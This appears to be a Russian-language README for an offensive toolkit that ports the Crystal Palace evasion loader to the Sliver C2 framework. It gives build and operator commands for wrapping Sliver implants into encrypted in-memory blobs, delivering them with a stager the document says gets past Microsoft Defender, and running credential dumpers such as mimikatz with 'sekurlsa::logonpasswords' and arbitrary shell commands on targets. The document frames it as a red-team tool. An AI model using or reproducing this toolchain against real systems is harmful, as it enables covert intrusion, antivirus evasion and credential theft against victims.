
Crystal Palace Evasion kit для Sliver
Набор для обхода защиты Crystal Palace, портированный на Sliver C2.
Это первый публичный порт Crystal-Kit (Cobalt Strike) от rasta-mouse на Sliver. Он повторяет ту же схему кросс-C2, что была проверена в Crystal-Kit-Xenon (Mythic).
Заменяет стандартный рефлексивный загрузчик Sliver и путь выполнения post-ex на Crystal Palace (Raphael Mudge, BSD). Результат — PICO-блоб (позиционно-независимый код), объединяющий:
LoadLibrary / GetProcAddress)VirtualAlloc / VirtualProtect / VirtualFree / LoadLibraryADLL импланта Sliver (или любая post-ex DLL) маскируется XOR внутри PICO и снимает маску только в памяти в момент выполнения.
Исходная DLL импланта Sliver никогда не выполняется на цели напрямую. Вместо этого она оборачивается Crystal Palace в PICO, шифруется AES-256-CBC и доставляется вместе с кастомным стейджером (~17 КБ), который расшифровывает и выполняет её в памяти.
sliver-server generate --format shared → impl.dll
│
▼
generate-implant.sh --dll impl.dll → sliver.crystal.bin (~110 KB PICO)
│
▼
bundle-stager.sh → csvchelper.exe (~17 KB, no embedded payload)
→ payload.dat (~36 MB AES-256-CBC ciphertext)
│
▼ deliver BOTH files to same directory on target
▼
Windows VM: csvchelper.exe
│
▼ BCrypt AES-256-CBC decrypt payload.dat → PICO in RW memory
▼ VirtualProtect(RX) → CreateThread → Crystal Palace entry
▼ register .pdata → TLS callbacks → DllMain → StartW() → beacon goroutine → HTTP session
Когда сессия активна, запускайте чувствительные DLL (разведка, дамперы учётных данных и т. п.) через Crystal Palace с помощью расширения Sliver.
sliver > extensions install crystal-loader-0.1.0.tar.gz
sliver > crystal --payload C:/path/mimikatz.pico.bin
Передавайте аргументы времени выполнения без пересборки, добавляя их после |:
sliver > crystal --payload C:/path/file.pico.bin|args here
crystal-loader.x64.dll — это DLL-расширение Sliver, которое считывает PICO-блоб с диска в область VirtualAlloc(RW), переключает её в RX через VirtualProtect и переходит к точке входа Crystal Palace. Отображение PAGE_EXECUTE_READWRITE никогда не создаётся. В путях используются прямые слэши. Формат аргументов — type:string (не BOF-бинарник). DLL загружается Sliver в память — она не записывается файлом на диск цели.
crystal-exec — вторая команда, поставляемая в том же расширении. Она выполняет произвольные команды оболочки через обход защиты Crystal Palace, используя PICO, встроенный непосредственно в DLL расширения, — загружать PICO-файл не нужно.
sliver > crystal-exec --cmd "whoami /all"
Вывод возвращается оператору через существующую сессию Sliver по каналу (pipe). Это самый быстрый путь для разовых команд оболочки, когда вам не нужна полноценная post-ex DLL.
crystal-kit-sliver/
├── loader/ ← Reflective loader sources (Use case A) — verbatim from Crystal-Kit
├── postex-loader/ ← Post-ex loader sources (Use case B) — Crystal-Kit + Xenon patch
├── libtcg.x64.zip ← Upstream binary dependency (kept in tree for build convenience)
└── sliver-glue/ ← Sliver-specific build glue
├── extension.json Sliver Extension manifest
├── generate.sh Wrap a post-ex DLL → PICO (Use case B)
├── generate-implant.sh Wrap a Sliver DLL → PICO (Use case A)
├── bundle-implant.sh Bundle PICO + Crystal Palace demo stager into drop.zip (legacy)
├── bundle-stager.sh Build custom stager: csvchelper.exe + payload.dat (primary)
├── pack-extension.sh Pack DLL + manifest into Sliver Extension tarball
├── Makefile make objects / package / clean
├── stager/ Custom stager sources (AES-256-CBC, asInvoker manifest)
└── wrapper/ crystal-loader.c (BOF-compat DLL wrapper)
docs/
├── RUNBOOK.md Step-by-step Kali → Windows lab procedure
├── PORTING_MAP.md File-by-file mapping Crystal-Kit → this repo + literal diffs
└── TOOLCHAIN.md Build prerequisites and pipeline details
# 1. Toolchain
sudo apt install -y mingw-w64 nasm openjdk-17-jdk make zip git curl
# 2. Crystal Palace dist (BSD-3-Clause, Raphael Mudge)
mkdir -p external/crystalpalace
curl -fsSL https://tradecraftgarden.org/download/cpdist-latest.tgz \
| tar -xz -C external/crystalpalace/
export CRYSTAL_PALACE_HOME=$(pwd)/external/crystalpalace/dist
# 3. Build everything
make -C crystal-kit-sliver/loader all
make -C crystal-kit-sliver/postex-loader all
make -C crystal-kit-sliver/sliver-glue/wrapper all
make -C crystal-kit-sliver/sliver-glue/wrapper smoketest
make -C crystal-kit-sliver/sliver-glue/crystal-exec all
# 4. Use case A — wrap a Sliver implant and build the stager
./crystal-kit-sliver/sliver-glue/generate-implant.sh --dll /path/to/sliver-impl.dll \
crystal-kit-sliver/sliver-glue/build/sliver.crystal.bin
./crystal-kit-sliver/sliver-glue/bundle-stager.sh \
crystal-kit-sliver/sliver-glue/build/sliver.crystal.bin \
crystal-kit-sliver/sliver-glue/build/csvchelper.exe
# → produces build/csvchelper.exe + build/payload.dat (deliver both to target)
# 5. Use case B — wrap a post-ex DLL (postex.sh handles naming and prints the sliver command)
./crystal-kit-sliver/sliver-glue/postex.sh /path/to/postex.dll
# With baked-in args: postex.sh /path/to/postex.dll "sekurlsa::logonpasswords exit"
./crystal-kit-sliver/sliver-glue/pack-extension.sh
# 6. crystal-exec — rebuild the built-in command executor (only needed after modifying crystalexec.c)
cd crystal-kit-sliver/sliver-glue/crystal-exec && make && cd -
./crystal-kit-sliver/sliver-glue/pack-extension.sh
Полную процедуру оператора (установка Sliver, настройка listener, выполнение на цели, устранение неполадок) см. в docs/RUNBOOK.md.
Этот репозиторий НЕ распространяет crystalpalace.jar. Сборочный конвейер загружает его извне и ссылается на него через переменную окружения CRYSTAL_PALACE_HOME.
Полный список авторских прав и лицензий исходных проектов см. в NOTICE.md. Краткая сводка:
dll_args)beacon.h, beacon_compatibility.c/h)docs/PORTING_MAP.md)sliver-glue/ и манифест расширенияgenerate-implant.sh + bundle-implant.shИнструмент наступательной безопасности, предназначенный для авторизованных red team-проектов, лабораторных исследований и обучения. Используйте только в окружениях, где у вас есть письменное разрешение. Автор не несёт ответственности за неправомерное использование.
| Пункт | Статус | Подтверждение |
|---|
| Все исходники Crystal-Kit компилируются под MinGW 15.2 + NASM 3.01 | OK | make all без ошибок, 8 .o + 1 .bin на загрузчик |
| Патчи Xenon для post-ex присутствуют | OK | секция dfr "ror13", _DLLARGS_, параметр dll_arguments в DLL_PROCESS_ATTACH |
| CLI Crystal Palace проверен | OK | ./link <spec> <dll> <out.bin> [%KEY=value] — позиционный, описан в dist/README |
| Сквозная сборка PICO (сценарий A) | OK | получен PICO 117 КБ из тестовой DLL |
| Сквозная сборка PICO (сценарий B) | OK | получен PICO 111 КБ через postex-loader/loader.spec |
| DLL-обёртки расширения Sliver собираются | OK | crystal-loader.x64.dll ~42 КБ, crystal-exec.x64.dll ~75 КБ — обе PE32+, экспортируют символ Initialize; без RWX; stripped |
| Tarball расширения упаковывается корректно | OK | tarball 37 КБ проверен с помощью tar -tzf |
| Сборка кастомного стейджера (доставка двумя файлами) | OK | bundle-stager.sh → csvchelper.exe (17 КБ, энтропия 4.784) + payload.dat (AES-256-CBC) |
| Выполнение в рантайме на Windows (сценарий A) | OK | сессия Sliver установлена на Windows 10 x64 FLARE-VM; стейджер проходит Defender (Wacatac.B!ml + ZomBytes.B) |
| Выполнение в рантайме на Windows (сценарий B) | OK | crystal --payload C:/path/file.pico.bin — новая сессия Sliver установлена через post-ex PICO; формат аргументов подтверждён как type:string, путь с прямыми слэшами |
Команда crystal-exec | OK | вывод команды оболочки возвращается оператору через канал; PICO встроен в DLL расширения, загрузка не требуется |
| Зависимость | Лицензия | Где взять | В комплекте? |
|---|
Crystal Palace (crystalpalace.jar, link и т. д.) | BSD-3-Clause, (c) 2025 Raphael Mudge / AFF-WG | curl -O https://tradecraftgarden.org/download/cpdist-latest.tgz | Нет (.gitignore исключает external/) |
libtcg.x64.zip | бинарный файл из апстрима, лицензия не указана (вероятно, производное от QEMU TCG) | скопирован из исходного репозитория Crystal-Kit | Да, хранится в дереве проекта для удобства сборки |
| Sliver C2 | GPLv3 | https://sliver.sh | Нет — только зависимость времени выполнения |
| MinGW-w64 + NASM | GPL-совместимая | apt install или brew install | Нет |
crystal --payloadtype:stringcrystal-exec: встроенное выполнение post-ex команд оболочки через Crystal Palace (загрузка не требуется)| для динамических аргументов DLL без пересборки